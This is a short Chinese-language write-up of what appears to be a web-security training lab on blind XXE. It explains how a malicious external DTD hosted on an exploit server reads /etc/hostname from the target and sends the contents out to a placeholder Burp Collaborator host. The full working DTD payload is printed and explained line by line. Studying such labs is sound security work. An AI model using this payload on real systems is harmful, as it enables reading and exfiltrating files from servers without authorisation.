# XXE Lab5
這題是利用惡意外部 DTD 文件來執行盲注 XXE 資料外洩。
### 原理:
- 目標系統允許在 XML 中引用外部 DTD。
- 先在自己控制的伺服器(這題是 Exploit Server)上準備一個惡意的 DTD 文件。
### 這個惡意 DTD 會:
- 定義一個內部實體 %file,用來讀取目標系統的本機檔案(file:///etc/hostname)。
- 定義另一個內部實體 `%eval`,它會動態建立一個外部實體 `%exfil`,並讓伺服器去呼叫一個帶有讀取結果的 URL(裡面會把 `/etc/hostname` 的內容作為參數傳送)。
- 呼叫` %eval`; 跟 `%exfil;`,讓資料外洩到你的 Burp Collaborator(或 Exploit Server)。
### 實作:
一樣進入網站並攔截請求。


先準備一個惡意的 DTD 文件:
```
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://BURP-COLLABORATOR-SUBDOMAIN/?x=%file;'>">
%eval;
%exfil;
```
- `<!ENTITY % file SYSTEM "file:///etc/hostname">`:
定義一個參數實體 %file,內容是從本機檔案 /etc/hostname 讀取的。
- `<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://BURP-COLLABORATOR-SUBDOMAIN/?x=%file;'>">`:
動態定義另一個參數實體 `%exfil`,其內容會對你的 Collaborator 伺服器發送一個帶有 `%file`(也就是 `/etc/hostname` 內容)的 HTTP 請求。
- `%` 是 % 的 Unicode 寫法,避免字元被提早解析。


---